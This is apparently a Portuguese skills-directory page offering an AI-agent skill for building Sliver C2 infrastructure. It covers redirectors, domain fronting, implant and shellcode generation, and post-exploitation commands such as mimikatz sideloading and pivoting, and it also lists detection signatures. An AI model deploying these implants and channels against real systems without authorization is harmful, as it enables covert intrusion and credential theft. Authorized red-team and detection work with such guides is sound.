Communitygithub.com

construção-de-infraestrutura-c2-com-sliver-framework

Implante e fortifique um servidor de equipe C2 Sliver (BishopFox).

O que é construção-de-infraestrutura-c2-com-sliver-framework?

Este guia detalhado ensina como implantar e fortalecer uma infraestrutura de Comando e Controle (C2) utilizando o framework Sliver, desenvolvido pela BishopFox. O Sliver é uma ferramenta de emulação de adversários open-source, escrita em Go, que oferece geração de implantes, canais C2 multi-protocolo (mTLS, HTTP/S, DNS, WireGuard), suporte a múltiplos operadores e recursos avançados de pós-exploração. O guia cobre desde a implantação do servidor de equipe em ambientes cloud (como DigitalOcean, AWS) até a configuração de listeners, redirecionadores com NGINX, domain fronting com Cloudflare e geração de implantes para Windows, Linux e macOS. É ideal para equipes de red team que precisam de uma infraestrutura C2 segura, resiliente e de difícil detecção, seguindo boas práticas de segurança operacional (OpSec). O documento também inclui mapeamento MITRE ATT&CK, assinaturas de detecção e critérios de validação para garantir a eficácia da implantação.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-infrastructure-with-sliver-framework

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

Construção de Infraestrutura C2 com Sliver Framework

Visão Geral

Sliver é um framework de emulação de adversários open-source e multiplataforma desenvolvido pela BishopFox, escrito em Go. Ele fornece às equipes de red team geração de implantes, canais C2 multi-protocolo (mTLS, HTTP/S, DNS, WireGuard), suporte a múltiplos operadores e extensas capacidades de pós-exploração. Sliver suporta modos beacon (assíncrono) e sessão (interativo), tornando-o adequado tanto para operações de longa duração quanto para exploração interativa. Uma infraestrutura Sliver bem arquitetada usa redirecionadores, domain fronting e certificados HTTPS para manter a resiliência operacional e evitar detecção.

Quando Usar

  • Ao implantar ou configurar capacidades de construção de infraestrutura C2 com Sliver no seu ambiente
  • Ao estabelecer controles de segurança alinhados aos requisitos de conformidade
  • Ao construir ou melhorar a arquitetura de segurança para este domínio
  • Ao realizar avaliações de segurança que exijam esta implementação

Pré-requisitos

  • Familiaridade com conceitos e ferramentas de red team
  • Acesso a um ambiente de teste ou laboratório para execução segura
  • Python 3.8+ com dependências necessárias instaladas
  • Autorização apropriada para quaisquer atividades de teste

Objetivos

  • Implantar um servidor de equipe Sliver em infraestrutura cloud fortificada
  • Configurar listeners HTTPS, mTLS, DNS e WireGuard
  • Gerar implantes (beacons e sessões) para plataformas alvo
  • Configurar redirecionadores NGINX ou Apache entre os implantes e o servidor de equipe
  • Implementar domain fronting baseado em Cloudflare ou CDN para ofuscação de tráfego
  • Configurar acesso multioperador com autenticação baseada em certificado
  • Estabelecer controles de segurança operacional para comunicações C2

Mapeamento MITRE ATT&CK

  • T1071.001 - Protocolo de Camada de Aplicação: Protocolos Web
  • T1071.004 - Protocolo de Camada de Aplicação: DNS
  • T1573.002 - Canal Criptografado: Criptografia Assimétrica
  • T1090.002 - Proxy: Proxy Externo (Redirecionadores)
  • T1105 - Transferência de Ferramentas de Ingresso
  • T1132.001 - Codificação de Dados: Codificação Padrão
  • T1572 - Tunelamento de Protocolo

Fluxo de Trabalho

Fase 1: Implantação do Servidor de Equipe

  1. Provisione um VPS (ex: DigitalOcean, Linode, AWS EC2) para o servidor de equipe
  2. Fortifique o SO: desative autenticação SSH por senha, configure UFW/iptables, instale fail2ban
  3. Instale o Sliver usando o script de instalação oficial:
    curl https://sliver.sh/install | sudo bash
    
  4. Inicie o daemon do servidor Sliver:
    systemctl start sliver
    # Ou execute interativamente
    sliver-server
    
  5. Gere arquivos de configuração do operador para membros da equipe:
    new-operator --name operator1 --lhost <ip-do-servidor-de-equipe>
    

Fase 2: Configuração do Listener

  1. Configure um listener HTTPS com um certificado SSL legítimo:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /caminho/para/cert.pem --key /caminho/para/key.pem
    
  2. Configure um listener DNS para C2 de fallback:
    dns --domains c2dns.example.com --lport 53
    
  3. Configure um listener mTLS para sessões de alta segurança:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. Configure um listener WireGuard para acesso tunelado:
    wg --lport 51820
    

Fase 3: Configuração do Redirecionador

  1. Implante um VPS separado como redirecionador (posicionado entre os alvos e o servidor de equipe)
  2. Instale e configure o NGINX como proxy reverso:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<ip-do-servidor-de-equipe>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. Configure regras iptables no servidor de equipe para aceitar conexões apenas do redirecionador:
    iptables -A INPUT -p tcp --dport 443 -s <ip-do-redirecionador> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. Opcionalmente, configure o Cloudflare como uma camada de CDN na frente do redirecionador para domain fronting

Fase 4: Geração de Implantes

  1. Gere um implante beacon HTTPS:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. Gere um beacon DNS para redes restritas:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. Gere um payload shellcode para injeção:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. Configure os intervalos de jitter e callback do beacon:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

Fase 5: Operações de Pós-Exploração

  1. Interaja com beacons/sessões ativos:
    beacons        # Lista beacons ativos
    use <id-do-beacon> # Interage com um beacon
    
  2. Execute módulos de pós-exploração:
    ps              # Listagem de processos
    netstat         # Conexões de rede
    execute-assembly /caminho/para/Seatbelt.exe -group=all  # Executa assemblies .NET
    sideload /caminho/para/mimikatz.dll  # Carrega DLLs
    
  3. Configure pivots para acesso à rede interna:
    pivots tcp --bind 0.0.0.0:9898  # Cria listener pivot no host comprometido
    
  4. Use BOF (Beacon Object Files) para execução em memória:
    armory install sa-ldapsearch  # Instala a partir do armory
    sa-ldapsearch -- "(objectClass=user)"  # Executa BOF
    

Ferramentas e Recursos

FerramentaPropósitoPlataforma
Servidor SliverServidor de equipe C2 e gerenciamento de implantesLinux/macOS/Windows
Cliente SliverConsole do operador para membros da equipeMultiplataforma
NGINXRedirecionador e proxy reversoLinux
CertbotGeração de certificados SSL Let's EncryptLinux
CloudflareCDN e domain frontingNuvem
ArmoryGerenciador de pacotes de extensões/BOF do SliverIntegrado

Assinaturas de Detecção

IndicadorMétodo de Detecção
Cabeçalhos HTTP padrão do SliverAnálise de tráfego de rede para strings User-Agent incomuns
mTLS em portas não padrãoLogs de firewall para conexões de saída para portas incomuns
Consultas de registros DNS TXT com alta entropiaAnálise de logs DNS para tráfego C2 codificado
Tráfego UDP WireGuard na porta 51820Análise de fluxo de rede para padrões de handshake do WireGuard
Hashes de arquivos de implantes SliverCorrespondência de assinaturas EDR/AV contra amostras conhecidas do Sliver

Critérios de Validação

  • Servidor de equipe implantado e fortalecido com regras de firewall
  • Listener HTTPS configurado com certificado SSL válido
  • Listener DNS configurado como canal C2 de fallback
  • Pelo menos um redirecionador implantado entre alvos e servidor de equipe
  • Acesso multioperador configurado com certificados únicos
  • Implantes gerados para sistemas operacionais alvo
  • Intervalos de callback e jitter do beacon configurados para furtividade
  • Módulos de pós-exploração testados (listagem de processos, execução de assembly .NET)
  • Funcionalidade de pivot validada para acesso à rede interna
  • Todo o tráfego C2 criptografado e passando por redirecionadores

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Habilidades Relacionadas